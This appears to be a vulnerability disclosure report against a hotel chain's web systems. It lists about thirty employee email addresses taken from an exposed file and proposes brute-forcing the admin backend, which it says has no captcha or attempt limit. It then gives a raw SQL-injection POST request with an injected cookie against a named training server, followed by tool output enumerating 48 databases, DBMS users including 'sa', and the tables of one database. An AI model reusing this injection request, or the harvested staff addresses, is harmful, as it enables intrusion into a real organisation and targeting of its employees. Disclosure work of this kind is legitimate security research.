信息泄漏：这里泄漏了大量的用户Email用户名，6MB的TXT文档，通过收集这些用户名可以进行后台的爆破，因为后台没有验证码与错误登录次数限制。
http://jcxt.htinns.com/mail.txt
以下列举个别：
lpang@htinns.com
tshen@htinns.com
ttqin@htinns.com
hjin@htinns.com
xuemfeng@htinns.com
wanglia@htinns.com
liyi@htinns.com
kaiguo@htinns.com
yhzhao@htinns.com
bingli@htinns.com
hfhua@htinns.com
hzhu@htinns.com
xhzhang@htinns.com
yonghli@htinns.com
djzhan@htinns.com
zplu@htinns.com
dhhong@htinns.com
tangyj@htinns.com
clwu@htinns.com
ffwang@htinns.com
lzwang@htinns.com
wyyao@htinns.com
yzfeng@htinns.com
szzhao@htinns.com
clwu@htinns.com
zhangfana@htinns.com
lpchen@htinns.com
xiaoliu@htinns.com
xcrlding@htinns.comPost注入一枚：
POST /exam2/login.asp?win= HTTP/1.1
Host: training.htinns.com
Proxy-Connection: keep-alive
Content-Length: 36
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://training.htinns.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://training.htinns.com/exam2/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: Hm_lvt_e5770a47472445b3f839a58a32b8abe5=1394799212; Hm_lpvt_e5770a47472445b3f839a58a32b8abe5=1394799385; ASPSESSIONIDCSAQQQQQ=APGAMJPALKBMAOBPDBGIMADM; id=admin%27; %2Fbbs%2FGROUP=1
username=admin&password=admin&czbz=1
available databases [48]:
[*] Application_Registry_Service_DB_5d9281593cab42dc8320efcf7cbfd7a0
[*] Bdc_Service_DB_17fc7e4144144d30bf092d46962cf618
[*] dbcenter
[*] dnt31
[*] eCell6
[*] Exam1
[*] HT_eProcurement
[*] HTFranchisee
[*] HtinnsAdviser
[*] HTIntranetUAT
[*] HTScore
[*] InnInspection
[*] InspectionAudit
[*] Managed Metadata Service_eb3ad9498f3c4d538c1c638c92230972
[*] master
[*] model
[*] msdb
[*] OA
[*] PerformancePoint Service Application_1e41da1b1ab64e55b59c496da2baa509
[*] PnCheck
[*] PurchaseSurvey
[*] RCTIDB
[*] ReportServer
[*] ReportServerTempDB
[*] ROOMCHK
[*] Search_Service_Application_CrawlStoreDB_a4e0258f3e8d475dbc9ae62b373ce475
[*] Search_Service_Application_DB_e90bd9a6f93d43c294e41402b5d631e9
[*] Search_Service_Application_PropertyStoreDB_bda79800fee24b8691db0032d6ceccb
[*] Secure_Store_Service_DB_b62005406e8a4f12a854cb5a434821f4
[*] SharePoint_AdminContent_5947d722-6796-4bc7-ae44-1c894454c1f5
[*] SharePoint_Config
[*] slam
[*] StateService_23c5611220344b52bea83c8d6fd7ddc8
[*] tempdb
[*] test
[*] User Profile Service Application_ProfileDB_cb8f9f4b3ec14f0ea7f125fe176a4e0
[*] User Profile Service Application_SocialDB_6bd18e2e80804b86bc5687f722d780ab
[*] User Profile Service Application_SyncDB_c8c90e3cd266442f83f260c4b75ad735
[*] USERPLUS
[*] VHArchives_HanTing
[*] WebAnalyticsService****_ReportingDB_7dc7dc51-0f26-49e6-8b74-9187ccdf0186
[*] WebAnalyticsService****_StagingDB_458c6a10-f5c4-4756-a2d6-010eb6805b43
[*] WordAutomationServices_04a084d97a3d4f83af4b3667b5385333
[*] WSS_Content
[*] WSS_Content_90
[*] WSS_Content_b3117e51d8c8405888a80388555ec208
[*] WSS_Logging
[*] YunYing
database management system users [2]:
[*] PowerExamUser
[*] sa
Database: Exam1
[41 tables]
+--------------------+
| dbo.BbsClass |
| dbo.BbsMain |
| dbo.Cjdxm |
| dbo.Denglu |
| dbo.Fenzu |
| dbo.Fenzu_Renyuan |
| dbo.Ftp_Cs |
| dbo.Ftp_Kc |
| dbo.Glyftpqx |
| dbo.ImgKu |
| dbo.Kaoshi_Detail |
| dbo.Kaoshi_Master |
| dbo.Kaoshi_daan |
| dbo.Kc_Main |
| dbo.Kc_Ren |
| dbo.Kc_lb |
| dbo.Ksj_Cl |
| dbo.Ksj_Cl_Temp |
| dbo.Ksj_Gd_Detail |
| dbo.Ksj_Main |
| dbo.Ksj_Ren |
| dbo.Mrfz |
| dbo.OperLog |
| dbo.Reninfoset |
| dbo.Renyuan |
| dbo.RenyuanInfo |
| dbo.ScoreView |
| dbo.Sjglqx |
| dbo.TZ |
| dbo.TiKu_Detail |
| dbo.Tiku_Main |
| dbo.Tkj |
| dbo.Tkjgl |
| dbo.Tmlb |
| dbo.Txfs |
| dbo.Txsx |
| dbo.Txxz |
| dbo.UserExamRecord |
| dbo.Userinfo |
| dbo.Zhsz |
| dbo.dtproperties |
+--------------------+